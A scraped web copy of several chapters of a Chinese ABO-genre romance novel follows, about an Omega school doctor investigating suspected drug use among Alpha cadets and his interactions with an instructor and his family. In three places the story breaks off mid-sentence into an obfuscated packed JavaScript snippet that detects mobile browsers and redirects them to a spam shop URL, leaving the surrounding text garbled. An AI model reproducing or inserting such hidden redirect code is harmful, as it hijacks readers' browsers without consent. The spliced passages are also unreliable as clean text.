陈悦多关心了两句,“这两天忙,你休息也不好,辛苦你了。” 沈乐安有点心虚,“没有,昨晚有点失眠而已。” 陈悦:“你送的咖啡很好吃,给你带了面包,放你桌上了。” 沈乐安笑了笑:“谢谢陈姐。” 陈悦想到什么,提道:“中午有临时安排寝室检查,你要不要一起去?” 很久违的名词,沈乐安道:“临时安排的?” 陈悦嗯了一声,没有过多解释。 沈乐安了然,猜到了应该是上一回他给的资料她和校方交代了,所以提前查看一下情况,他还没有去Alpha寝室参观过呢,倒是能去瞧瞧有没有什么发现。 陈悦记下,又说:“这次是中午去,所以可能会赶不上吃饭,你等会可以早点过去吃。” 沈乐安:“大概多长时间?” 陈悦:“走完应该也要两小时。” 沈乐安点头,他可以提前垫垫肚子,然后晚点结束再吃饭,不在饭点,食堂人也少。 陈悦提了嘴,“体检时间定了,在下周,校医院也会配合辅助工作,我会提前和你沟通到时候的安排。” 沈乐安比了个OK的手势,想了想,还是确认了一下,“我到时候能要一份数据结果吗?” 陈悦看了他一眼,“可以,不过不能外传,这次事情不小,你应该心里清楚。” 沈乐安松了口气,“我明白。” 校方比想象中的要重视这件事,流程推的也快,沈乐安对学校的看重表示欣喜,却也担心自己当初的猜测是否过于草率,毕竟这件事情没有证据,那便是无端揣测。 他坐在座椅上,回想起当时在病房内看到的林一鸣,他从医院里面得来的消息来看,林一鸣的病情其实有点反复,还有再次发生信息素失控的危险,林夫人当时和他讲话时,也透露着几分古怪,虽然不明显,但是明显是认为自己上门是来找自己儿子的麻烦,甚至这个麻烦和林一鸣的前途息息相关。 再一个便是林江源了,林家绝对是以林江源为主的,他觉得如果真的有什么,林江源一定知道,且有所纵容,林一鸣才可能被允许执行。 林家对于想要进入联邦军校往军队发展有点执迷,难道是因为这个原因,所以想要用其他的手段强行提升自己的体质?但这样的违禁药物伤身,以生命为代价,他又觉得林夫人不至于如此对待自己的儿子,除非林江源把控了消息,完全没有告诉林夫人。 睡眠不佳的后果是一早上的精力不济,沈乐安想不明白,也懒得再动脑,只等到时候结果出来看看情况,瞅见时间将近,吃了两口陈悦送的面包片,便跟着她去了寝室楼。 新生有好几栋宿舍楼,根据楼号分了几批人,沈乐安一早就和陈悦打了小报告,想去看看林一鸣在的那一栋,比较巧,这一栋的另外一个同行人是总教官秦砚。 沈乐安看到他心情还有点微妙,毕竟昨天晚上确实因为他有点小小的失眠,这才熬夜打游戏,导致今天的状态不佳。 一层有房间,但是秦砚似乎没有打算过去,沈乐安看了看,刚想问,便听他道:“一层是助教和宿管居住的地方,没有学生宿舍。” 沈乐安收回视线,问:“一层有多少个房间啊?” 秦砚:“三十个,四人寝,一共有五层。” 看到空荡荡的楼道,沈乐安问了句:“平时这种检查多吗?” 秦砚解释:“会定期开展,只是比较粗略,学生们也没有放在心上。” 这倒也正常,沈乐安之前当学生的时候,这样的检查也有,不过是例行安排的流程罢了,也没谁闲着没事去挨个挨个仔细检查。 应该是通知了宿管的缘故,宿舍的门都是开着的,不过里面没有人,大家都出去吃饭了。 也不知是不是军校生的缘故,这群Alpha学生的寝室竟然格外的整齐整洁,床上的被子都是整整齐齐折叠好的,日常用品东西不多,东西摆放的井然有序。 看了第一间房,沈乐安便有所感慨:“这都能评优秀寝室了吧?” 秦砚淡声道:“这是基本的生活纪律,抽检发现随性散漫会扣分。” 沈乐安:“……” 不懂军校生是怎么活的,天天这么苦? 连续看了几间房,沈乐安倒不觉得有什么稀奇的了,感觉大差不差,倒是在唐邵的房间里面额外看到了娱乐的游戏设备,相较于其他学生而言,他东西要稍微多一些。 不过与林一鸣的床位比较的话,他又不算什么了。 林一鸣住院了这么些天,床位一直空着,没有人动过他的床,被子不算整齐,摆在床上,床头的白墙上贴了一张大大的海报,是某个明星的照片,桌面的柜子上有一排赛车模型,小格子上是大牌的香水,系列足,数量也不少,里面还放了两条烟,桌面有未拆的包裹,沈乐安倒是知道那是什么,沈氏的抑制剂打包盒就长这样,看起来数量应该不少。 看了一圈,除了发现违禁的电器,倒是没有发现什么违禁的药物,沈乐安有点失望,但也清楚,这样的东西,应该不会轻易让人察觉,毕竟同住一个寝室,想不被发现,必然更加谨慎。 沈乐安想着事情,没注意听身边的人讲话。 秦砚没听见回应,重复道:“你来之前吃饭了吗?” 沈乐安回神,“没有,现在去吃。” 秦砚:“哪个食堂?” 沈乐安顺口道:“二食堂吧,听说那边有汤面味道还不错。” 秦砚嗯了一声。 沈乐安反应过来,是一起去的意思,倒也刚好顺路。 如果昨晚没有碰到,沈乐安或许还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211805|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装作不清楚,权当自己之前猜测错误,但见了两回,他怎么也不觉得是巧合了,没有这些,他今天还会话多一点。 今天的检查杨校长早就言明来去,秦砚清楚来龙去脉,以为他是为今天没有检查出什么而失望,“一般的检查很难轻易排查出什么,但是可以有警示作用,至少不会让不良的行为明目张胆的扩散。” 沈乐安低低嗯了一声,“我清楚。” 秦砚看了他一眼,提醒道:“不健康的作息可能影响你的特殊时期。” 沈乐安皮肤白,昨晚没睡多久,脸上的倦意明显,眼底有淡淡的青色,人也有点蔫答答的。 他猛眨了几下眼睛,意识好像回笼了些,“昨晚玩游戏太激动,所以睡得有点晚。” 秦砚见过他打游戏的模样,有好几次。 沈乐安略一抬眸,视野中便容纳近在咫尺的五官,眉骨突出,鼻梁高挺,唇瓣薄而红,线条明晰又好看,离得近,才发现他眼睛里其实带了一点沉着的蓝调,目光定而锋利,如似剥开人表层的利刃一般。 男人视线幽深,被人直勾勾的打量,不见退缩,面色如常,耐心的仿佛一头蛰伏已久的野兽。 沈乐安看不懂他真实的想法,被他发现自己的观察也不尴尬,脸不红心不跳地率先打破沉寂,“秦教官经常去‘遇见’吃饭?” 遇见是昨晚的那家餐厅的名字。 秦砚道:“去过几次。” 沈乐安随口问道:“有什么推荐的菜品吗,我在那没发现什么好吃的。” 秦砚去的几次都是被安排的相亲,不是他点的菜,他并不清楚,只是他对服务员推荐过的名字有点印象,一字不差地重复了那天对方的介绍。 沈乐安觉得耳熟,半晌,笑了笑,“你还和人家服务员偷师?” 秦砚没有隐瞒:“不是我点单,我对菜品没有特别偏好。” 沈乐安支着下巴,好奇道:“你除了和朋友去那里吃饭,就没想到换个地方玩玩?京市其实有很多景点可以逛,难道不比你重复踩点的餐厅好?” 如果真的这样,家里会烦死他,秦砚并没有兴趣浪费时间应付这些,他看了眼兴致勃勃的沈乐安,答道:“我很忙。” 沈乐安深深看了他一眼,察觉出他那点罕见的不耐烦,又下了新的判断。 他看起来对这些相亲也并不热衷,或许是被家里所逼,本身没有很强烈的意向? 那暗戳戳的念头一出,沈乐安又在心中自我感慨了一番,他觉得秦砚这人确实有点本事,昨天刚放下的想法现如今又卷土重来,心痒难耐。 沈乐安心中想法颇多,面上却没有表现出来,他和人呆一块的时候觉得不说话会尴尬,和秦砚东扯一句西扯一句,提到玩的地方,他去过的景点不少,当地神话故事都能给他说一遍。 秦砚是个很好的听众,也非常擅长从他的话里发现信息。 比如他话里的“朋友”,一个广泛的名称,但从他说话的口吻,其实更像是某个人的代名词,他直觉应该是昨晚那辆跑车驾驶座上的人,听起来应该是个Alpha,在沈乐安心中,他们关系一定不错。 秦砚目光微垂。 少年双眸漆黑乌亮,说着有趣的事情,眼珠微动,闪着光彩,如似灵动的鸟雀,言语如珠,描绘生动如画,纯然而不谙世事。 与昨天那张扬而醒目的红色跑车以及浓艳的红玫瑰放在一块,总觉得不搭。 14. 第 14 章 每年的校体检都在九月底,学生们都清楚,不过唯一奇怪的大概是今年添加了一项尿检的项目,往届的学长学姐都说这是第一届这样豪气,新生好奇的还有另外一个,往年校医也会帮忙进行体检内容,不知道今年的新校医会不会参与进来。 新来的校医是个小Omega,在一群Alpha中间一定非常不好处理,人群密集说不定还有风险,大家都猜测新校医要么不参加这次的体检,要么可能会充当发放体检单的志愿者。 当然,还是有不少人想要通过这次的机会看看新校医的样貌的,毕竟前阵子总有人八卦他的事迹,当初食堂内的那段录音至今还在流传。 不过出人意料的是,新校医竟然会负责抽血这一项目。 血液里面会有一定的信息素浓度,在抽取过程中,会有轻微的信息素逸散,这一项工作通常是由Beta或者Alpha来完成,很少会有Omega来担任。 如果不是沈乐安主动争取,又因为他曾经有这样的经验,陈悦不会同意他来进行这项工作,至于沈乐安自己的想法,他其实还是对上次见到的奇怪的血管现象感觉疑惑,抽血的时候还能顺路观察一下正常Alpha的血管情况,一举两得。 体检时间定在早上八点开始,要求空腹抽血,所以过来的学生并没有进食,队伍比想象中的要整齐,军校生还是要比沈乐安认为的自觉的多。 年轻的Omega校医坐在一层的大厅中央,穿了一身白大褂,带了白色的口罩,只露眉眼。 他上次在上课期间去过操场,秦砚当时带着班级训练,有不少人见过他,所以一眼就能认出来。 抽血一共有三个队伍,沈乐安那一排格外的长。 有人进来还觉得奇怪,“这边还有两排可以做,那群新生是不是没看见啊?” 知道内幕的新生道:“学姐,那一排是新来的Omega校医在做,沈校医动作温柔人又好看,他们都去那里排。” 学姐好奇:“是之前录音声音非常好听的那个校医吗?” 新生:“是,他还来看过我上课,和秦魔头说过话。” 学姐:“你们新生还真的无聊,Omega而已,又不是没见过,不赶紧体检完去训练,小心被教官批评。” 新生看了她一眼,把手上将要送出的糖果收了回去。 学姐手还停留在半空,睁着眼表情疑惑。 新生客气道:“沈校医体谅我们没吃早餐怕抽血低血糖,去那都能拿,每人两个,学姐不喜欢,我就不送了。” 学姐:“……” 新生冷哼一声,转头走了。 糖果其实是沈氏集团附赠的小礼物,沈乐安觉得应该是他爹和杨叔叔提了这件事,杨叔叔那边也捐了一小批物资。 要说商人精明也确实精明,这样的小糖果成本不高,但这样的方式送出去,能给悦动一个好名声,还能顺便起到个宣传作用。 捐赠的物资原本有单独的人员摆放一块,可以学生自己去排队领取,但沈乐安觉得没有在项目中赠送这样的方式更体贴,这才自己在自己的小桌上摆了糖果,还劝了一下其他几个临时凑成抽血队伍的Alpha同事可以效仿,但他们并不认为Alpha会喜欢这样的东西,也不觉得军校生Alpha的身体会弱到这种地步,抽个血还低血糖晕倒。 沈乐安无言,不再多说,自己的想法自己实践,他们不介意就行。 原本他还有点担心会不会因为AO性别因素,他这队会无人问津,缺少一点观察样本,只是没想到效果有点超乎意料,或许是因为糖果的缘故,排队的人不少。 好在他动作还算利索,并没有造成大排场龙的拥挤情况。 不过沈乐安还是认为有几个总教官在的缘故,尤其是秦砚过来时,有很多学生都非常自觉的配合早早弄完离开,没有逗留。 将近十点时,校医院内已经安静了许多,只有零星几个学生还没有做完正在排队,但抽血项目已经没有人了。 秦砚这时候才过来找沈乐安抽血。 沈乐安惊讶:“秦教官也需要做?” 秦砚:“教官助教都参与这次体检。” 沈乐安没有注意刚刚有没有其他年级的教官和助教排队,哪怕看见了估计也认不出,毕竟他没见过人,都是生面孔。 沈乐安道:“需要空腹,你没吃东西吧?” 秦砚坐下,把袖子拉上,“没有,放心。” 沈乐安取出棉签和药水,目光微垂,落在他的手臂上,倒是第一次直接这么近距离的观察。 Alpha天生体质比Omega强悍许多,又是军校的学生,沈乐安抽了一早上的血,对这个世界的Alpha身体有了新的认知,健壮、肌肉扎实、身体素质很高。 军队的训练强度高,对于常人而言,这样的日常培训已经算是过度,很容易练出很夸张的肌肉线,而这大约也是这里的Alpha公认的审美,粗壮的体魄代表的实力,能够让追求力量的Alpha同类臣服。 但秦砚似乎并没有那样夸张的线条。 他上臂肤色要白一些,小臂有常年在阳光底下训练而出现的麦色,与沈乐安手上莹白的肤色一对比,就更加有体现鲜明的肤色差,臂上的线条肌理有力而蓬勃,彰显着Alpha卓越的力量,但线条又流畅而不显夸张,增添了可观赏的美色。 念头转瞬即逝,沈乐安还是有工作的基本准则的,心无旁骛地给他绑了皮绳,按照流程给他抽血。 沈乐安本来没有分神,直至空气中逸散出一种淡淡的松雪之气,如似夏夜饮一杯薄荷使人清凉舒爽,又似浓郁清甜的冰饮使沙漠旅人垂涎欲滴,气味勾选,勾引着自制力淡薄的神经。 血液里面溢出来的信息素其实很淡,加上Alpha自制力足够,这样的浓度又会进一步降低,且沈乐安天生对信息素感知很淡,这也是他一直认为自己穿越来这之后,哪怕真的分化,也只会是一个普通Beta的原因,虽然最后他还是预判失误。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211806|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦砚不会捉弄他,但这样的感觉真的很微妙,他像是能够通过这样的淡淡的气息感受到对方轻微的情绪波动。 沈乐安扯了针管,在取血处压了根棉签,“按压五分钟再松开。” 两手交接,秦砚避开了可能得肢体接触,“麻烦了。” 抽血的过程中不可避免有碰触,AO性别不同,体质也天差地别,一旦接触,这样的对比就十分的明显。 秦砚拧眉,将那点不适应抛之脑后,面色如常。 沈乐安见他起身,问:“你还要上去做别的项目?” 秦砚没有否认。 沈乐安从旁边的箱子里摸出一个面包,塞到他手里,“不是没吃早饭?先吃点东西。” 秦砚顿了顿,没有拒绝,拿着东西上了楼。 沈乐安看着他的背影,若有所思。 秦砚的血管其实也比其他Alpha要粗厚许多,但没有沈乐安当时见到林一鸣的那般夸张,沈乐安就一上午的观察,有个大概的推测,似乎Alpha体质的增强,会让血管也会明显许多。 秦砚的个人体质不必说,但沈乐安又并不觉得尽是体质的原因,他不可避免的记得当时在医院见到秦砚时,秦砚看病的主治医生是徐师兄,徐师兄在信息素的研究上颇有心得,在联邦医院也是主治这个,且秦砚有能力,身体又没有什么大问题,却又年纪轻轻就从联邦军队退下来。 沈乐安不由自主地产生一个猜测——秦砚的信息素是不是出了什么问题? 沈乐安胡乱揣测了一小会,心里好奇的不行,但又生生忍了下来,这毕竟是人家的私事,他们关系还没到那种地步,不至于多管闲事。 提到林一鸣,沈乐安下午回到办公室时,还专门去找了陈悦。 林一鸣毕竟现在不在校,而且还是病患,如果林家以此为借口,万一不允许林一鸣参加这次体检怎么办? 陈悦见他关心,主动与他解释:“体检是每年学生必须做的,哪怕生病在家,学校也会安排人专门上门做,这个报告单是每年必须上传的,只要他还想继续在学校读,就不能拒绝,当然,如果身体实在不适,校方会酌情减少体检项目,但基本的抽血和尿检还是能做的,而且,林一鸣现在身体也恢复了很多,林先生没有拒绝。” 沈乐安疑惑:“林先生什么都没有说?” 陈悦道:“林夫人想等林同学身体好再做,但林先生和校方的人员沟通了一下,担心影响林一鸣后面的体测成绩录入,还算爽快,应下了。” 沈乐安拧眉,想了想,还是问:“陈姐,检查结果什么时候能出?” 陈悦思索片刻,道:“校方这边打招呼加急了,应该两天内能出来。” 沈乐安嗯了一声,没有再问。 他觉得林家这情况有点反常,但又觉得想不通逻辑,最后放弃了揣测,只等两天后结果出来看看情况。 折腾了这么多事情,他还是希望这个结果能够对他目前的推论方向有点帮助吧。 15. 第 15 章 周五晚上,沈乐安回了沈家。 在学校连轴转了这么久,如果不是沈序专门打电话通知他,他大概忘了自己原先答应了沈家二老偶尔回来吃饭。 沈宅是早期沈老爷子还年轻的时候建的,二老念旧,后来几个小孩长大,除了一些破旧的装潢有重修,其他基本上没有怎么变动,有种古色古香的老宅气息,唯一有点不同的大约是沈乐安的房间,老人家对孙子偏爱,沈乐安十八岁成年的时候自己重新装了一遍,很有个人特色。 沈烨平时都忙,不在家,为了就近去公司,平日里也是住在公司附近的别墅区,沈乐安上次回来的时候老宅也只有爷爷奶奶两个人,这一次家里却很热闹。 林管家见他回来,格外高兴,“小少爷回来了,老爷夫人得高兴坏了。” 沈乐安一边往里走,一边问:“林叔,今天家里来了人?” 林管家道:“杨先生和您姑姑都在,还有华章少爷。” 沈华章是沈乐安的表哥,是沈乐安爷爷的弟弟的外孙,沈华章的爷爷是老二,沈乐安称呼他为二伯父,二伯父去世的早,二房只有姑姑一个Omega女儿,早些年入赘的姑父遭遇车祸去世,只有沈华章一个儿子,不过沈乐安姑姑后来又和沈烨的朋友杨元然有了交集,后来二人结婚,现在还有个五岁大的女儿。 杨叔叔因为和他爹关系不错,两家往来很深,沈乐安每年都能见他们好几次,但说实话,他虽然对杨元然有好感,但沈华章这个表哥,他实在不愿过多接触。 老宅内来了关系不错的亲戚,比沈乐安上次回来的要热闹的多。 沈华章比沈乐安大了两岁,情商很高,陪着沈老爷子下棋聊天,杨元然给两个棋手倒水,沈老夫人知道今天小孙子要回来,打算专门下厨,沈姑姑也在厨房帮忙。 车开进来的动静不小,沈老爷子不知道孙子今天过来,此刻见到来人,棋也不下了,“乐安今天怎么回来了?” 沈乐安放下手里的礼盒,“小叔说爷爷最近很想吃大闸蟹,我托人买了一份。” 沈老夫人闻声出来,笑眯眯道:“你就给你爷爷买,没有奶奶的份?” 沈老爷子一听,猜出来小儿子捉弄他,没告诉他这消息,老太太一定知道小孙子今天回来,难怪这么主动还做菜。 沈乐安笑道:“我给奶奶买了乔楼的红枣软糕。” 他说完,又面露歉意道:“不过不知道今天姑姑杨叔叔和表哥都来了家里,没有给你们带好吃的。” 杨元然道:“是我临时提议过来看看二老,不图你这份礼。” 沈乐安笑了笑,见到坐在棋盘旁边的沈华章,“表哥在和爷爷下棋?” 沈华章道:“我棋艺一般,跟着爷爷偷师学艺呢。” 沈老爷子坐回去,笑呵呵道:“你这天赋不错了,不用自谦,乐安再学几年都比不过你。” 沈乐安从老头子旁边顺了块西瓜,闻言,抬起眼皮,“爷爷,你哪次下五子棋比得过我?” 沈华章认真道:“表弟,围棋可比五子棋难得多,你可以和爷爷多学学围棋,围棋讲谋略,能学到很多东西。” 沈乐安不接话,安安静静地吃西瓜。 沈老爷子瞥了他一眼,“他就这样,小孩子脾气。” 二十四岁了还小孩子,沈华章知道爷爷偏心这个小孙子,但没想到沈乐安如今都这个年纪,而且还分化成了Omega,竟然还如此不知上进,如果不是有沈家这个靠山,还不知道会如何后悔呢。 沈姑姑端了饭菜上桌,见几个男人还站在那边下棋,叫了声:“吃饭了。” 沈老夫人亲自给小孙子盛了饭,压低声道:“安安多吃一点,今天都是你喜欢的饭菜。” 沈乐安弯唇,“奶奶辛苦了。” 他看了眼丰盛的饭菜,又悄悄和沈老夫人说了句:“奶奶给爸爸打包一份,让林叔送过去吧,他十有八九又没有吃晚饭。” 沈老夫人看了他一眼,揉了揉他的脑袋,笑意温柔:“安安真会心疼你爸,下次他要再气急胡言乱语,你私下和奶奶说,奶奶也让你爷爷断了他的卡,让他露宿街头去!” 沈乐安眨了眨眼,笑了。 沈老爷子上了桌:“吃饭吧,自己家,没有那么多规矩。” 沈姑姑给杨元然和儿子盛了饭,还给儿子和丈夫夹了菜。 饭桌上明显的备受关照的还是沈乐安,二老一向对他偏好,照顾的很周到。 沈姑姑几次视线都忍不住看向沈乐安,心里对这个侄子一直有点好奇,尤其是从儿子那里听说他迟了几年,几个月前分化成了Omega,还住了两个月的医院之后。 二老对这个Omega侄子关照如初,还允许侄子去那种地方工作,其实让沈姑姑有点意外,毕竟当初父母还在世的时候,她还是家里的独生孩子,但Omega不该碰的东西,父母还是不允许她接触的。 沈老夫人看向安安静静的沈芸,问:“小芸身体怎么样,上次元然不是说你去看了医生?” 沈芸道:“没有什么大事,就是年纪大了,信息素有点紊乱,开了药调,现在已经好多了。” 沈老夫人关心了两句:“你要多多注意身体,华章现在长大了,华音也有保姆照顾,你也不用那么操心。” 沈芸应了声是,迟疑了下,还是问了句:“我听元然说乐安分化后住了两个月的院,现在身体好些了吗?” 沈老夫人瞅了孙子一眼。 沈乐安闻言,对上她有些担忧的视线,笑了笑:“谢谢姑姑关心,现在身体完全好了,有间断性吃药稳定信息素。” 沈芸多叮嘱一句:“特殊时间不要去人多的地方,还是在家会安全一点。” 知道她是真关心,沈乐安没有拂她的好意,“知道了。” 见状,沈老夫人松了口气。 之前家里一提这事,就闹得僵,她和丈夫现在很少提这件事情。 沈华章忽然道:“我上次去沈叔办公室没见到你,乐安没在沈叔那当助理了吗?” 沈乐安瞥了他一眼,“我辞职了,考了联邦军校的编制。” 沈华章道:“我还以为你调岗了,想着说你要不想在沈叔那办公,要不然就让沈叔给你升升迁,咱俩当个同事一起给集团打工呢。” 他面上露出惋惜,“周秘书之前还和我说过你,能力很强,都快抢走她的饭碗了。” 沈老爷子适时提了一句:“你表哥业绩不错,最近升迁了,你也多学习一下。” 沈华章谦虚道:“是沈叔给我机会,帮忙促成了和乐安工作学校的合作入场机会,这才让我事半功倍,打入了联邦军校的合作,顺利完成了两项单品的签约。” 沈乐安抬眼瞅了他一眼,抑制剂的合作板上钉钉,另外一个单品也成交,看来他也废了不少力气。 给自家公司赚业绩,沈乐安很满意,笑了笑:“恭喜表哥啊。” 沈华章道:“那天我还去联邦军校里面签约还想着说不定能碰见你和你吃饭呢,不过不巧,你不在,当时在场的应该还有你的上司,是校医办的负责人,沈叔能拉上这个合作,说不定还是因为你在这工作,所以起了心思,方案都是他提前给我的,做的特别的详细。” 沈乐安大方承认:“确实是我给我爹搭的线,表哥可不能把功劳都给他,我可不服。” 沈华章愣了下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211807|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有信他随口的大话,他一个小校医,还能随便把这么大块肉啃下来送给沈氏?先不论他刚过去没几天,人生地不熟,再一个,就这种商业谈判,他估计都没接触过几次。 沈老夫人瞥了他一眼,“沈烨回来提过,方案还是安安给的呢。” “是吗,集团还让表弟额外打工,真是罪过,”沈华章不以为然,笑了笑,扯开话题,“表弟刚分化成Omega不久,还是多注意身体,在联邦军校工作虽好,但毕竟还是Alpha密集,又是不懂事的学生,家里会担心的,要是不习惯,回沈氏工作也好,毕竟你熟悉业务,沈氏也有适合Omega的工作,负担不会那么重。” 沈乐安微笑道:“谢谢表哥,我挺喜欢我现在的工作生活的。” 沈老爷子感觉气氛不对,轻咳两句,“乐安也长大了,家里不缺他做什么事业,自己开心就好,不拘着他做什么,不过华章关心是对的,乐安你工作的时候还是注意身体,身体健康第一。” 爷爷还是太纵着他了,沈华章忍下那点不赞同,挑开了话题。 沈芸给儿子夹了菜,虽然知道儿子对这个表弟关注很多,也非常关心,但她心里其实不认同儿子总是过多干涉人家的家事,毕竟虽然是亲戚,但他儿子又不是沈乐安的父母,花费太多精力在他身上反而会讨人嫌。 这些话沈芸只会在心里想想,她虽是母亲,但很多事情都是儿子拿主意,儿子现如今有本事,不喜欢被人干涉自己的决定,哪怕是父母亲。 沈老夫人看了眼沈华章道:“我听说京市内不是有几座专门招募Omega学生的大学要建成了吗,华章既然在看学校的合作,可以多多和那边负责人联系。” 沈华章嗯了一声,却没有想要和沈老夫人细聊这种事情,他不认为常年久居宅内的Omega能有什么大的见解。 杨元然却主动接了话:“元首这几年在Omega培养上有政策倾斜,确实是值得重要关注的。” 他看了沈乐安一眼,“军部不是已经开始改革?乐安实力和运气都不错,刚好赶上元首军制改革,以后说不定还会有Omega军队。” 沈乐安意外地看了杨元然一眼,没想到他还挺关注这些,消息渠道看起来应该不少。 Omega军队?以Omega的体质,几个一起上都不一定打过一个Alpha。 沈华章觉得不现实,但也应了声:“我会持续看政策变化的。” 一顿饭下来,沈华章被呛了几次,吃的有点心不在焉,沈乐安倒是心情不错,还吃了两碗饭。 沈乐安的发情期将近,沈家二老希望他早早休息,吃完饭就将人送回校叮嘱他早睡了。 待到沈宅又重新安静下来,沈老爷子才好奇问了问自己的妻子:“你今天怎么回事,以前不是挺喜欢华章的,怎么今天感觉处处不待见他?” 沈老夫人翻了个白眼:“我以前没发现他竟然还歧视Omega,装的还挺像,处处往安安身上显摆呢,别以为我没发现!” 沈老爷子琢磨了一下,迟疑道:“是不是你搞错了?” 沈老夫人哼了一声,“有没有真性别歧视我不清楚,但他肯定心里看不起我孙子,就那合作,我可是清楚安安没有说大话,你儿子上次回来还专门和我提过呢,你要喜欢他,你自己给他当爷爷去!” 别以为她没看出来这老头子天天在那和稀泥,当老好人,还让自家孙子憋屈。 沈老爷子觉得冤枉:“你这人不讲道理,你可不许和乐安抹黑我。” 沈老夫人没应,不是最好,谁敢欺负她孙子,她准给揍回去,管他是哪个亲戚哪个Alpha,反正都没她宝贝孙子厉害! 16. 第 16 章 沈乐安从沈家回来的第二天没有上班。 他昨晚从沈宅回来的时候还有点早,洗完澡,又听秦砚发消息说手办到的消息,手痒玩了几局游戏,不小心又熬了夜。 这种敏感的时间没有克制自己的作息简直是雪上加霜,第二天早上起来的时候,沈乐安就觉得有点头疼无力,只好请了假。 量了体温,36.7℃,没有发烧,一切正常。 沈乐安放了点心,又把照片拍给严教授,让他放心。 上一次去严家时,宋姨就专门问过他分化住院时的事情以及医生当时的嘱咐,严教授还要求他把病历本也一起给他看,生怕他隐瞒病情。 临近特殊时期,严教授还给他发了消息,问问他的身体情况,沈乐安本来骗他说一切正常,结果也不知他去哪得来的消息,知道自己请了假,甚至要求他拍照留证据证明自己说的话。 沈乐安安抚完小老头,这才去开门,他的宿舍平时没有人拜访,也没啥人知道自己住这,难道是陈悦? 看见门口站着的人,沈乐安愣了一下,有点没反应过来。 沈乐安在家的时候穿的很随性,大码的白色T恤和黑色休闲裤,领口处很宽松,精致漂亮的锁骨若隐若现。 秦砚目光落在他的脸上,没有失礼的到处乱移,“宋姨让我送东西过来给你。” 沈乐安让开道,“先进来吧。” 秦砚进屋,沈乐安给他找个双新拖鞋,原本预备给沈序过来穿的,眼下倒是派上了用场。 客厅不算大,有一张沙发,购置了电视机,还有一个书架摆在一侧,上面却不是书本,而是一排整整齐齐的游戏手办小人,架上没有灰尘,隔着玻璃,能看得清里面的干净整洁,能肉眼可见主人对他们很是精心照顾。 这些小玩具秦砚在严灵灵那里也见过,她也爱收藏这些,不过是单独放在自己的书房,没有这么工整的摆放,架上桌面都有这些东西的痕迹。 “秦教官想喝什么?”沈乐安开了冰箱,里面是零零碎碎的饮料和零食。 秦砚瞥见,淡声道:“白开水就可以,谢谢。” 沈乐安从厨房取了杯子洗了洗,给他倒了杯白开水。 秦砚指了指几个袋子里面的东西,“这一批是药物,另外一袋是蔬菜和水果,小姨拿盒子给你打包了腌制好的肉。” 沈乐安道:“你今天怎么又去宋姨家了?” 秦砚看了他一眼:“帮严灵灵把她的东西送过去。” 严灵灵知道手办到了的消息还是沈乐安告诉她的,沈乐安没有想到她会如此心急,竟然也不怕这个严厉的表哥了,联系秦砚专门给她送上门。 沈乐安有点心虚,但还是实诚地下意识看了看桌上的那几个袋子。 秦砚敛回视线,“你的也在里面,我一起拿过来了。” 顺路的事情,秦砚没想再把这个放家里再让他专门跑一趟,简直浪费时间。 沈乐安从里面搜罗出盲盒,顿时觉得头也不疼了,心情愉快。 他碰了好几下盲盒,迟疑了一下,道:“秦教官,再麻烦你帮我拆开一下,好不好?” 他看起来非常想自己上手,秦砚并不能理解他的做法。 沈乐安笑道:“你运气好,我蹭蹭你的好运。” 秦砚:“……” 他不是很懂他的脑回路。 但他还是照做,没有一点沈乐安的敬重,三两下就拆开,露出里面的形状。 开出了绝版,沈乐安很高兴,虔诚地把它放进了书架。 秦砚看了眼充盈的书架,难得的发出疑惑:“他们看起来没有什么区别。” 沈乐安小心摆正位置,分神道:“衣服、神态、装饰品,区别可大了。” 秦砚不予置评,这种类似于集卡的爱好或许在他小学的时候有过,但是长大以后这些兴趣早就消失殆尽,再看过往,只会觉得那时的自己非常的幼稚。 他淡声答:“严灵灵也有这样的爱好。” 沈乐安这才瞥了他一眼,“秦教官有什么很喜欢的东西吗?” 秦砚:“没有。” 他并没有非常深刻的物欲,哪怕有,行为也不会如此不成熟,成年人讲究适可而止。 沈乐安哦了一声,“等你有很喜欢的某样东西,肯定也会像我这样,越稀罕越想拥有,这是人类对偏好的东西天然萌生的占有欲。” 最好是有个求而不得的人,打击打击这人的自信,沈乐安虽然欣赏他,但也不可否认,秦砚身上确实有点自傲心,一个有能力的人总有些逃脱不掉这样的性格,沈乐安自己也有。 秦砚不赞同也不否认,转移了话题,“东西带到,我不叨扰了。” 沈乐安问:“你吃饭了吗?” 去的时候不在饭点,小姨今天没有留他吃饭,只是叮嘱他快点给沈乐安送东西,秦砚道:“我等会去食堂吃。” 沈乐安:“等会我俩一起吃吧,宋姨今天拿的东西很多,我一个人也吃不完,她应该是备了你的那一份在里面了。” 